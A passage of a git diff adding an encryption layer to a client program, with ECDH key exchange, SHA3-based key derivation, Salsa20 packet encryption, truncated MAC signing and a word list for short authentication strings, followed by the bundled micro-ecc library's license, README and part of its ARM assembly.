make_key(encryptor_t *encryptor, char *key_name, uint8_t *result) +{ + sha3_ctx ctx; + + sha3_256_init(&ctx); + sha3_update(&ctx, encryptor->shared_secret, 32); + sha3_update(&ctx, (uint8_t*)key_name, strlen(key_name)); + sha3_final(&ctx, result); +} + +static void make_authenticator(encryptor_t *encryptor, char *authstring, uint8_t *buffer) +{ + sha3_ctx ctx; + + sha3_256_init(&ctx); + sha3_update(&ctx, (uint8_t*)authstring, strlen(authstring)); + sha3_update(&ctx, encryptor->shared_secret, 32); + sha3_update(&ctx, encryptor->my_public_key, 64); + sha3_update(&ctx, encryptor->their_public_key, 64); + sha3_update(&ctx, (uint8_t*)encryptor->preshared_secret, strlen(encryptor->preshared_secret)); + sha3_final(&ctx, buffer); +} + +encryptor_t *encryptor_create(char *preshared_secret) +{ + encryptor_t *encryptor = safe_malloc(sizeof(encryptor_t)); + + if(!uECC_make_key(encryptor->my_public_key, encryptor->my_private_key, uECC_secp256r1())) + return NULL; + + encryptor->preshared_secret = preshared_secret; + + return encryptor; +} + +NBBOOL encryptor_set_their_public_key(encryptor_t *encryptor, uint8_t *their_public_key) +{ + if(!uECC_shared_secret(their_public_key, encryptor->my_private_key, encryptor->shared_secret, uECC_secp256r1())) + return FALSE; + + /* Store their key (we need it to generate the SAS). */ + memcpy(encryptor->their_public_key, their_public_key, 64); + + make_key(encryptor, "client_write_key", encryptor->my_write_key); + make_key(encryptor, "client_mac_key", encryptor->my_mac_key); + make_key(encryptor, "server_write_key", encryptor->their_write_key); + make_key(encryptor, "server_mac_key", encryptor->their_mac_key); + + if(encryptor->preshared_secret) + { + make_authenticator(encryptor, "client", encryptor->my_authenticator); + make_authenticator(encryptor, "server", encryptor->their_authenticator); + } + + return TRUE; +} + +uint16_t encryptor_get_nonce(encryptor_t *encryptor) +{ + return encryptor->nonce++; +} + +NBBOOL encryptor_should_we_renegotiate(encryptor_t *encryptor) +{ + return encryptor->nonce > 0xFFF0; +} + +void encryptor_print(encryptor_t *encryptor) +{ + print_hex("my_private_key", encryptor->my_private_key, 32); + print_hex("my_public_key", encryptor->my_public_key, 64); + print_hex("their_public_key", encryptor->their_public_key, 64); + printf("\n"); + print_hex("shared_secret", encryptor->shared_secret, 32); + if(encryptor->preshared_secret) + { + print_hex("my_authenticator", encryptor->my_authenticator, 32); + print_hex("their_authenticator", encryptor->their_authenticator, 32); + } + printf("\n"); + print_hex("my_write_key", encryptor->my_write_key, 32); + print_hex("my_mac_key", encryptor->my_mac_key, 32); + print_hex("their_write_key", encryptor->their_write_key, 32); + print_hex("their_mac_key", encryptor->their_mac_key, 32); +} + +void encryptor_print_sas(encryptor_t *encryptor) +{ + sha3_ctx ctx; + uint8_t hash[32]; + size_t i; + + sha3_256_init(&ctx); + sha3_update(&ctx, (uint8_t*)SAS_AUTHSTRING, strlen(SAS_AUTHSTRING)); + sha3_update(&ctx, encryptor->shared_secret, 32); + sha3_update(&ctx, encryptor->my_public_key, 64); + sha3_update(&ctx, encryptor->their_public_key, 64); + sha3_final(&ctx, hash); + + for(i = 0; i < 6; i++) + printf("%s ", sas_dict[hash[i]]); + printf("\n"); +} + +NBBOOL encryptor_check_signature(encryptor_t *encryptor, buffer_t *buffer) +{ + sha3_ctx ctx; + + uint8_t header[HEADER_LENGTH]; + uint8_t their_signature[SIGNATURE_LENGTH]; + uint8_t good_signature[32]; + uint8_t *body; + size_t body_length; + + uint8_t *signed_data = NULL; + size_t signed_length = -1; + + /* Start from the beginning. */ + buffer_reset(buffer); + + /* Read the 5-byte header. */ + buffer_read_next_bytes(buffer, header, HEADER_LENGTH); + + /* Read their 6-byte (48-bit) signature off the front of the packet. */ + buffer_read_next_bytes(buffer, their_signature, SIGNATURE_LENGTH); + + /* Read the body. */ + body = buffer_read_remaining_bytes(buffer, &body_length, -1, FALSE); + + /* Re-build the buffer without the signature. */ + buffer_clear(buffer); + buffer_add_bytes(buffer, header, HEADER_LENGTH); + buffer_add_bytes(buffer, body, body_length); + + /* Get it out as a string. */ + signed_data = buffer_create_string(buffer, &signed_length); + + /* Calculate H(mac_key || data) */ + sha3_256_init(&ctx); + sha3_update(&ctx, encryptor->their_mac_key, 32); + sha3_update(&ctx, signed_data, signed_length); + sha3_final(&ctx, good_signature); + + /* Free the data we allocated. */ + safe_free(signed_data); + safe_free(body); + + /* Validate the signature */ + return (NBBOOL)!memcmp(their_signature, good_signature, SIGNATURE_LENGTH); +} + +void encryptor_decrypt_buffer(encryptor_t *encryptor, buffer_t *buffer, uint16_t *nonce) +{ + uint8_t header[HEADER_LENGTH] = {0}; + uint8_t nonce_str[8] = {0}; + uint8_t *body = NULL; + size_t body_length = -1; + + /* Start from the beginning. */ + buffer_reset(buffer); + + /* Read the header. */ + buffer_read_next_bytes(buffer, header, HEADER_LENGTH); + + /* Read the nonce, padded with zeroes. */ + memset(nonce_str, '\0', 8); + buffer_read_next_bytes(buffer, nonce_str+6, 2); + + /* Read the nonce into a return variable. */ + if(nonce) + *nonce = buffer_read_int16_at(buffer, HEADER_LENGTH); + + /* Read the body, which is what's encrypted. */ + body = buffer_read_remaining_bytes(buffer, &body_length, -1, FALSE); + + /* Decrypt the body! */ + s20_crypt(encryptor->their_write_key, S20_KEYLEN_256, nonce_str, 0, body, body_length); + + /* Re-build the packet without the nonce. */ + buffer_clear(buffer); + buffer_add_bytes(buffer, header, 5); + buffer_add_bytes(buffer, body, body_length); + + /* Free up memory. */ + safe_free(body); +} + +void encryptor_sign_buffer(encryptor_t *encryptor, buffer_t *buffer) +{ + sha3_ctx ctx; + uint8_t signature[32]; + + uint8_t header[HEADER_LENGTH] = {0}; + uint8_t *body = NULL; + size_t body_length = -1; + + /* Start from the beginning. */ + buffer_reset(buffer); + + /* Read the header. */ + buffer_read_next_bytes(buffer, header, HEADER_LENGTH); + + /* Read the body. */ + body = buffer_read_remaining_bytes(buffer, &body_length, -1, FALSE); + + /* Generate the signature. */ + sha3_256_init(&ctx); + sha3_update(&ctx, encryptor->my_mac_key, 32); + sha3_update(&ctx, header, HEADER_LENGTH); + sha3_update(&ctx, body, body_length); + sha3_final(&ctx, signature); + + /* Add the truncated signature to the packet. */ + buffer_clear(buffer); + buffer_add_bytes(buffer, header, HEADER_LENGTH); + buffer_add_bytes(buffer, signature, SIGNATURE_LENGTH); + buffer_add_bytes(buffer, body, body_length); + + /* Free memory. */ + safe_free(body); +} + +void encryptor_encrypt_buffer(encryptor_t *encryptor, buffer_t *buffer) +{ + uint8_t header[HEADER_LENGTH] = {0}; + uint16_t nonce = encryptor_get_nonce(encryptor); + uint8_t nonce_str[8] = {0}; + uint8_t *body = NULL; + size_t body_length = -1; + + /* Start from the beginning. */ + buffer_reset(buffer); + + /* Read the header. */ + buffer_read_next_bytes(buffer, header, HEADER_LENGTH); + + /* Set up the nonce. */ + memset(nonce_str, '\0', 8); + nonce_str[6] = (nonce >> 8) & 0x00FF; + nonce_str[7] = (nonce >> 0) & 0x00FF; + + /* Read the body, which is what we will encrypt. */ + body = buffer_read_remaining_bytes(buffer, &body_length, -1, FALSE); + + /* Encrypt the body! */ + s20_crypt(encryptor->my_write_key, S20_KEYLEN_256, nonce_str, 0, body, body_length); + + /* Re-build the packet with the nonce. */ + buffer_clear(buffer); + buffer_add_bytes(buffer, header, 5); + buffer_add_int16(buffer, nonce); + buffer_add_bytes(buffer, body, body_length); + + /* Free memory. */ + safe_free(body); +} + +void encryptor_destroy(encryptor_t *encryptor) +{ + /* safe_free() does this anyway, but let's do it explicitly since it's crypto. */ + memset(encryptor, 0, sizeof(encryptor_t)); + safe_free(encryptor); +} + +#endif diff --git a/client/libs/crypto/encryptor.h b/client/libs/crypto/encryptor.h new file mode 100644 index 0000000..b41758e --- /dev/null +++ b/client/libs/crypto/encryptor.h @@ -0,0 +1,67 @@ +/** + * encryptor.h + * Created by Ron Bowes + * October, 2015 + * + * See LICENSE.md + */ +#ifndef __ENCRYPTOR_H__ +#define __ENCRYPTOR_H__ + +typedef struct +{ + char *preshared_secret; + + uint8_t my_private_key[32]; + uint8_t my_public_key[64]; + uint8_t their_public_key[64]; + + uint8_t shared_secret[32]; + uint8_t my_authenticator[32]; + uint8_t their_authenticator[32]; + + uint8_t my_write_key[32]; + uint8_t my_mac_key[32]; + uint8_t their_write_key[32]; + uint8_t their_mac_key[32]; + + uint16_t nonce; +} encryptor_t; + +/* Create a new encryptor and generate a new private key. */ +encryptor_t *encryptor_create(char *preshared_secret); + +/* Set their pubkey, and also calculate all the various derived values. */ +NBBOOL encryptor_set_their_public_key(encryptor_t *encryptor, uint8_t *their_public_key); + +/* Get the next nonce. */ +uint16_t encryptor_get_nonce(encryptor_t *encryptor); + +/* Check if we should re-negotiate. */ +NBBOOL encryptor_should_we_renegotiate(encryptor_t *encryptor); + +/* Print all the internal encryptor variables. */ +void encryptor_print(encryptor_t *encryptor); + +/* Print the short authentication string. */ +void encryptor_print_sas(encryptor_t *encryptor); + +/* Validates that the packet, stored in buffer, has a valid signature. + * It also removes the signature from the buffer. */ +NBBOOL encryptor_check_signature(encryptor_t *encryptor, buffer_t *buffer); + +/* Decrypt the packet, stored in buffer. Also removes the nonce and + * returns it in the nonce parameter, if it's not NULL. */ +void encryptor_decrypt_buffer(encryptor_t *encryptor, buffer_t *buffer, uint16_t *nonce); + +/* Adds a signature to the packet stored in buffer. */ +void encryptor_sign_buffer(encryptor_t *encryptor, buffer_t *buffer); + +/* Encrypts the packet stored in buffer, and adds the nonce to it. */ +void encryptor_encrypt_buffer(encryptor_t *encryptor, buffer_t *buffer); + +/* Destroy the encryptor and free/wipe any memory used. */ +void encryptor_destroy(encryptor_t *encryptor); + + +#endif diff --git a/client/libs/crypto/encryptor_sas_dict.h b/client/libs/crypto/encryptor_sas_dict.h new file mode 100644 index 0000000..2cb3036 --- /dev/null +++ b/client/libs/crypto/encryptor_sas_dict.h @@ -0,0 +1,268 @@ + +/** + * encryptor_sas_dict.h + * Created by Ron Bowes + * October, 2015 + * + * See LICENSE.md + */ + +char *sas_dict[] = { + "Abate", + "Absorb", + "Ache", + "Acidy", + "Across", + "After", + "Alike", + "Amount", + "Amuse", + "Annoy", + "Annuls", + "Ardent", + "Ascot", + "Bait", + "Barons", + "Barret", + "Bask", + "Becurl", + "Befool", + "Bell", + "Bifold", + "Bogie", + "Boxen", + "Bozo", + "Broke", + "Bulby", + "Bunny", + "Calmly", + "Canary", + "Cargo", + "Chirp", + "Chroma", + "Cleft", + "Coke", + "Column", + "Comely", + "Cometh", + "Convoy", + "Corn", + "Cough", + "Cruxes", + "Cued", + "Darter", + "Dash", + "Dating", + "Deadly", + "Deaf", + "Decade", + "Deepen", + "Depict", + "Domed", + "Dorper", + "Drafts", + "Dried", + "Duff", + "Durian", + "Early", + "Easily", + "Eggars", + "Emboss", + "Emit", + "Encode", + "Ennui", + "Envied", + "Essay", + "Evites", + "Evoke", + "Exotic", + "Facile", + "Fate", + "Feisty", + "Fewest", + "Fifty", + "Filth", + "Finer", + "Fished", + "Flacks", + "Flaunt", + "Fleecy", + "Flied", + "Foams", + "Foxes", + "Freely", + "Frozen", + "Genome", + "Gibbon", + "Gifts", + "Giving", + "Gold", + "Gone", + "Gouge", + "Grocer", + "Grows", + "Half", + "Handle", + "Harold", + "Harp", + "Hedges", + "Hither", + "Hobbit", + "Hobble", + "Hoods", + "Hooked", + "Horror", + "Horsed", + "Hound", + "Huns", + "Ices", + "Impish", + "Jiber", + "Jiggy", + "Kelpy", + "Keyman", + "Khan", + "Killer", + "Klutzy", + "Lair", + "Lashes", + "Libate", + "Liming", + "Lonely", + "Looks", + "Lordy", + "Lush", + "Mailer", + "Maps", + "Mayo", + "Mcgill", + "Mona", + "Motive", + "Mousy", + "Neigh", + "Ninjas", + "Nodule", + "Nuns", + "Obese", + "Olive", + "Omelet", + "Omen", + "Otto", + "Outran", + "Ouzo", + "Owls", + "Papism", + "Parrot", + "Peace", + "Pearly", + "Peaty", + "Pedal", + "Pegged", + "Petals", + "Phials", + "Pianos", + "Pierce", + "Pigs", + "Pikey", + "Pitch", + "Plato", + "Plays", + "Plight", + "Poetic", + "Poker", + "Polite", + "Pontic", + "Pony", + "Powers", + "Poxes", + "Prams", + "Pulped", + "Purr", + "Push", + "Quint", + "Random", + "Rapier", + "Ravel", + "Real", + "Rebolt", + "Recoil", + "Redear", + "Reink", + "Ripe", + "Riprap", + "Roger", + "Ropers", + "Roving", + "Rumor", + "Sanded", + "Sawlog", + "Sawman", + "Scribe", + "Scruff", + "Seitan", + "Sense", + "Shirks", + "Sippy", + "Sitcom", + "Slumpy", + "Softy", + "Sonar", + "Sonny", + "Sophic", + "Spear", + "Spiced", + "Spikey", + "Spine", + "Spoofy", + "Spring", + "Static", + "Staved", + "Stilt", + "Stinty", + "Stirs", + "Storer", + "Story", + "Strode", + "Stump", + "Suited", + "Surfs", + "Swatch", + "Swum", + "Tables", + "Taking", + "Tattoo", + "Teal", + "Teeth", + "Telco", + "Timer", + "Tins", + "Tonite", + "Tore", + "Tort", + "Tried", + "Trivia", + "Tubule", + "Tusked", + "Twins", + "Twos", + "Unborn", + "Undam", + "Unwrap", + "Upcurl", + "Upseal", + "Visas", + "Volume", + "Waded", + "Wages", + "Ware", + "Wears", + "Wicked", + "Winful", + "Wisely", + "Wisp", + "Yerba", + "Zester", + "Zoner", + "Zootic", +}; + diff --git a/client/libs/crypto/micro-ecc/LICENSE.txt b/client/libs/crypto/micro-ecc/LICENSE.txt new file mode 100644 index 0000000..ab099ae --- /dev/null +++ b/client/libs/crypto/micro-ecc/LICENSE.txt @@ -0,0 +1,21 @@ +Copyright (c) 2014, Kenneth MacKay +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/client/libs/crypto/micro-ecc/README.md b/client/libs/crypto/micro-ecc/README.md new file mode 100644 index 0000000..01926e3 --- /dev/null +++ b/client/libs/crypto/micro-ecc/README.md @@ -0,0 +1,41 @@ +micro-ecc +========== + +A small and fast ECDH and ECDSA implementation for 8-bit, 32-bit, and 64-bit processors. + +The static version of micro-ecc (ie, where the curve was selected at compile-time) can be found in the "static" branch. + +Features +-------- + + * Resistant to known side-channel attacks. + * Written in C, with optional GCC inline assembly for AVR, ARM and Thumb platforms. + * Supports 8, 32, and 64-bit architectures. + * Small code size. + * No dynamic memory allocation. + * Support for 5 standard curves: secp160r1, secp192r1, secp224r1, secp256r1, and secp256k1. + * BSD 2-clause license. + +Usage Notes +----------- +### Point Representation ### +Compressed points are represented in the standard format as defined in http://www.secg.org/collateral/sec1_final.pdf; uncompressed points are represented in standard format, but without the `0x04` prefix. All functions except `uECC_compress()` only accept uncompressed points; use `uECC_compress()` and `uECC_decompress()` to convert between compressed and uncompressed point representations. + +Private keys are represented in the standard format. + +### Using the Code ### + +I recommend just copying (or symlink) the uECC files into your project. Then just `#include "uECC.h"` to use the micro-ecc functions. + +For use with Arduino, you can just create a symlink to the `uECC` directory in your Arduino `libraries` directory. You can then use uECC just like any other Arduino library (uECC should show up in the **Sketch**=>**Import Library** submenu). + +See uECC.h for documentation for each function. + +### Compilation Notes ### + + * Should compile with any C/C++ compiler that supports stdint.h (this includes Visual Studio 2013). + * If you want to change the defaults for any of the uECC compile-time options (such as `uECC_OPTIMIZATION_LEVEL`), you must change them in your Makefile or similar so that uECC.c is compiled with the desired values (ie, compile uECC.c with `-DuECC_OPTIMIZATION_LEVEL=3` or whatever). + * When compiling for a Thumb-1 platform, you must use the `-fomit-frame-pointer` GCC option (this is enabled by default when compiling with `-O1` or higher). + * When compiling for an ARM/Thumb-2 platform with `uECC_OPTIMIZATION_LEVEL` >= 3, you must use the `-fomit-frame-pointer` GCC option (this is enabled by default when compiling with `-O1` or higher). + * When compiling for AVR, you must have optimizations enabled (compile with `-O1` or higher). + * When building for Windows, you will need to link in the `advapi32.lib` system library. diff --git a/client/libs/crypto/micro-ecc/asm_arm.inc b/client/libs/crypto/micro-ecc/asm_arm.inc new file mode 100644 index 0000000..510af70 --- /dev/null +++ b/client/libs/crypto/micro-ecc/asm_arm.inc @@ -0,0 +1,1235 @@ +/* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */ + +#ifndef _UECC_ASM_ARM_H_ +#define _UECC_ASM_ARM_H_ + +#include "asm_arm_mult_square.inc" + +#if (uECC_SUPPORTS_secp256r1 || uECC_SUPPORTS_secp256k1) + #define uECC_MIN_WORDS 8 +#endif +#if uECC_SUPPORTS_secp224r1 + #undef uECC_MIN_WORDS + #define uECC_MIN_WORDS 7 +#endif +#if uECC_SUPPORTS_secp192r1 + #undef uECC_MIN_WORDS + #define uECC_MIN_WORDS 6 +#endif +#if uECC_SUPPORTS_secp160r1 + #undef uECC_MIN_WORDS + #define uECC_MIN_WORDS 5 +#endif + +#if (uECC_PLATFORM == uECC_arm_thumb) + #define REG_RW "+l" + #define REG_WRITE "=l" +#else + #define REG_RW "+r" + #define REG_WRITE "=r" +#endif + +#if (uECC_PLATFORM == uECC_arm_thumb || uECC_PLATFORM == uECC_arm_thumb2) + #define REG_RW_LO "+l" + #define REG_WRITE_LO "=l" +#else + #define REG_RW_LO "+r" + #define REG_WRITE_LO "=r" +#endif + +#if (uECC_PLATFORM == uECC_arm_thumb2) + #define RESUME_SYNTAX +#else + #define RESUME_SYNTAX ".syntax divided \n\t" +#endif + +#if (uECC_OPTIMIZATION_LEVEL >= 2) + +uECC_VLI_API uECC_word_t uECC_vli_add(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { +#if (uECC_MAX_WORDS != uECC_MIN_WORDS) + #if (uECC_PLATFORM == uECC_arm_thumb) || (uECC_PLATFORM == uECC_arm_thumb2) + uint32_t jump = (uECC_MAX_WORDS - num_words) * 4 * 2 + 1; + #else /* ARM */ + uint32_t jump = (uECC_MAX_WORDS - num_words) * 4 * 4; + #endif +#endif + uint32_t carry; + uint32_t left_word; + uint32_t right_word; + + __asm__ volatile ( + ".syntax unified \n\t" + "movs %[carry], #0 \n\t" + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + "adr %[left], 1f \n\t" + "adds %[jump], %[left] \n\t" + #endif + + "ldmia %[lptr]!, {%[left]} \n\t" + "ldmia %[rptr]!, {%[right]} \n\t" + "adds %[left], %[right] \n\t" + "stmia %[dptr]!, {%[left]} \n\t" + + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + "bx %[jump] \n\t" + #endif + "1: \n\t" + REPEAT(DEC(uECC_MAX_WORDS), + "ldmia %[lptr]!, {%[left]} \n\t" + "ldmia %[rptr]!, {%[right]} \n\t" + "adcs %[left], %[right] \n\t" + "stmia %[dptr]!, {%[left]} \n\t") + + "adcs %[carry], %[carry] \n\t" + RESUME_SYNTAX + : [dptr] REG_RW_LO (result), [lptr] REG_RW_LO (left), [rptr] REG_RW_LO (right), + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + [jump] REG_RW_LO (jump), + #endif + [carry] REG_WRITE_LO (carry), [left] REG_WRITE_LO (left_word), + [right] REG_WRITE_LO (right_word) + : + : "cc", "memory" + ); + return carry; +} +#define asm_add 1 + +uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words) { +#if (uECC_MAX_WORDS != uECC_MIN_WORDS) + #if (uECC_PLATFORM == uECC_arm_thumb) || (uECC_PLATFORM == uECC_arm_thumb2) + uint32_t jump = (uECC_MAX_WORDS - num_words) * 4 * 2 + 1; + #else /* ARM */ + uint32_t jump = (uECC_MAX_WORDS - num_words) * 4 * 4; + #endif +#endif + uint32_t carry; + uint32_t left_word; + uint32_t right_word; + + __asm__ volatile ( + ".syntax unified \n\t" + "movs %[carry], #0 \n\t" + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + "adr %[left], 1f \n\t" + "adds %[jump], %[left] \n\t" + #endif + + "ldmia %[lptr]!, {%[left]} \n\t" + "ldmia %[rptr]!, {%[right]} \n\t" + "subs %[left], %[right] \n\t" + "stmia %[dptr]!, {%[left]} \n\t" + + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + "bx %[jump] \n\t" + #endif + "1: \n\t" + REPEAT(DEC(uECC_MAX_WORDS), + "ldmia %[lptr]!, {%[left]} \n\t" + "ldmia %[rptr]!, {%[right]} \n\t" + "sbcs %[left], %[right] \n\t" + "stmia %[dptr]!, {%[left]} \n\t") + + "adcs %[carry], %[carry] \n\t" + RESUME_SYNTAX + : [dptr] REG_RW_LO (result), [lptr] REG_RW_LO (left), [rptr] REG_RW_LO (right), + #if (uECC_MAX_WORDS != uECC_MIN_WORDS) + [jump] REG_RW_LO (jump), + #endif + [carry] REG_WRITE_LO (carry), [left] REG_WRITE_LO (left_word), + [right] REG_WRITE_LO (right_word) + : + : "cc", "memory" + ); + return !carry; /* Note that on ARM, carry flag set means "no borrow" when subtracting + (for some reason...) */ +} +#define asm_sub 1 + +#endif /* (uECC_OPTIMIZATION_LEVEL >= 2) */ + +#if (uECC_OPTIMIZATION_LEVEL >= 3) + +#define FAST_MULT_ASM_5_TO_6 \ + "cmp r3, #5 \n\t" \ + "beq 1f \n\t" \ + \ + /* r4 = left high, r5 = right high */ \ + "ldr r4, [r1] \n\t" \ + "ldr r5, [r2] \n\t" \ + \ + "sub r0, #20 \n\t" \ + "sub r1, #20 \n\t" \ + "sub r2, #20 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r14, #0 \n\t" \ + "umull r9, r10, r4, r8 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r9, r9, r6 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r9, r9, r11 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "str r9, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r10, r10, r6 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r9, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "str r10, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r14, r14, r6 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "str r14, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r9, r9, r6 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r14, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r9, r9, r11 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r9, r9, r11 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "str r9, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r10, r10, r6 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + /* skip past already-loaded (r4, r5) */ \ + "ldr r7, [r1], #8 \n\t" \ + "ldr r8, [r2], #8 \n\t" \ + "mov r9, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "str r10, [r0], #4 \n\t" \ + \ + "umull r11, r12, r4, r5 \n\t" \ + "adds r11, r11, r14 \n\t" \ + "adc r12, r12, r9 \n\t" \ + "stmia r0!, {r11, r12} \n\t" + +#define FAST_MULT_ASM_6_TO_7 \ + "cmp r3, #6 \n\t" \ + "beq 1f \n\t" \ + \ + /* r4 = left high, r5 = right high */ \ + "ldr r4, [r1] \n\t" \ + "ldr r5, [r2] \n\t" \ + \ + "sub r0, #24 \n\t" \ + "sub r1, #24 \n\t" \ + "sub r2, #24 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r14, #0 \n\t" \ + "umull r9, r10, r4, r8 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r9, r9, r6 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r9, r9, r11 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "str r9, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r10, r10, r6 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r9, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "str r10, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r14, r14, r6 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "str r14, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r9, r9, r6 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r14, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r9, r9, r11 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r9, r9, r11 \n\t" \ + "adcs r10, r10, r12 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "str r9, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r10, r10, r6 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + "ldr r7, [r1], #4 \n\t" \ + "ldr r8, [r2], #4 \n\t" \ + "mov r9, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r10, r10, r11 \n\t" \ + "adcs r14, r14, r12 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "str r10, [r0], #4 \n\t" \ + \ + "ldr r6, [r0] \n\t" \ + "adds r14, r14, r6 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + /* skip past already-loaded (r4, r5) */ \ + "ldr r7, [r1], #8 \n\t" \ + "ldr r8, [r2], #8 \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + 